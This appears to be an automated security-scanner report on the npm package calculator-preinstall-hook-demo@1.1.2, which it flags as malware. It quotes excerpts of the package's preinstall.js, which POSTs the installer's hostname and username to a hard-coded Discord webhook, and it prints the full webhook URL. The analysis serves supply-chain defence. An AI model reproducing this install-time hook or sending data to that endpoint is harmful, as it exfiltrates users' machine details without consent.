calculator-preinstall-hook-demo@1.1.2
Private test fixture: sends a fixed webhook notification during preinstall
AI Security Review
scanned 3d ago · by lpm-firewall-aiThe package automatically transmits the installer’s hostname and OS username to a fixed Discord webhook during preinstall. This is install-time exfiltration of host and user data to an unrelated collector, so publication should be blocked.
Static reason
High-risk behavior combination matched malicious policy.; previous stored version diff introduced dangerous source
Trigger
Runs automatically during npm preinstall.
Impact
Exposes the installing machine’s hostname and username to the webhook recipient.
Mechanism
POSTs the hostname and OS username to the webhook, then writes a local marker file.
Attack narrative
During npm installation, the preinstall script posts the machine hostname and OS username to an embedded Discord webhook without an installer consent step. It then writes a marker file in the package directory. The package README calls this a private test fixture and says it must not be distributed with the webhook, but the published package source still performs the transmission by default.
AI rationale
The package automatically transmits the installer’s hostname and OS username to a fixed Discord webhook during preinstall. This is install-time exfiltration of host and user data to an unrelated collector, so publication should be blocked.
Evidence
package.jsonpreinstall.js.preinstall-marker.json
Network endpoints1
discord.com/api/webhooks/1566215853794394162/xsqpEbSn-cc3DU2AKWdzqWnXX5hjTfV-gUePQZ4evrHGlZctMd40TKCrN42qnJd7moc1
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package’s preinstall script automatically runs `node preinstall.js`.
- The hook sends a POST to a hard-coded Discord webhook.
- The POST body includes the machine hostname and OS username.
- The hook writes a `.preinstall-marker.json` file in the package directory.
Evidence against
- The package’s main entry point only exports a function returning a fixed string; it does not perform actions when imported.
- The README describes the package as a private test fixture and says it must not be distributed with its embedded webhook.
Behavioral surface
EnvironmentVarsFilesystem
HighEntropyStringsUrlStrings
NoLicense
Source & flagged code
8 flaggedpackage.jsonView file
•scripts.preinstall = node preinstall.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg•scripts.preinstall = node preinstall.js
Medium
Ambiguous Install Lifecycle Script
Install-time lifecycle script is not statically allowlisted and needs review.
package.jsonView on unpkgpreinstall.jsView file
6L7: const WEBHOOK_URL = 'https://discord.[redacted]-cc3DU2AKWdzqWnXX5hjTfV-[redacted]';
L8:
...
L11: writeMarker = marker => fs.writeFileSync(
L12: path.join(__dirname, '.preinstall-marker.json'),
L13: JSON.stringify(marker, null, 2) + '\n'
...
L18: package: 'calculator-preinstall-hook-demo',
L19: event: process.env.npm[redacted] || 'manual',
L20: timestamp: new Date().toISOString(),
...
L26: headers: { 'Content-Type': 'application/json' },
L27: body: JSON.stringify({
L28: content: `pitest: npm preinstall test notification. Computer: ${os.hostname()}, User: ${os.userInfo().username}`,
Findings
4 Critical3 High3 Medium5 Low
CriticalHardcoded Runtime Data Exfiltrationpreinstall.js
CriticalCredential Exfiltrationpreinstall.js
CriticalTrigger Reachable Dangerous Capabilitypreinstall.js
CriticalPrevious Version Dangerous Deltapreinstall.js
HighInstall Time Lifecycle Scriptspackage.json
HighFixed Authenticated Webhook Data Exfiltrationpreinstall.js
HighTrigger Reachable Credential Exfiltrationpreinstall.js
MediumAmbiguous Install Lifecycle Scriptpackage.json
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
Affected versions and remediation
This report applies to calculator-preinstall-hook-demo@1.1.2.
See all versions of calculator-preinstall-hook-demo for other recorded verdicts.
- Avoid installing calculator-preinstall-hook-demo@1.1.2. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
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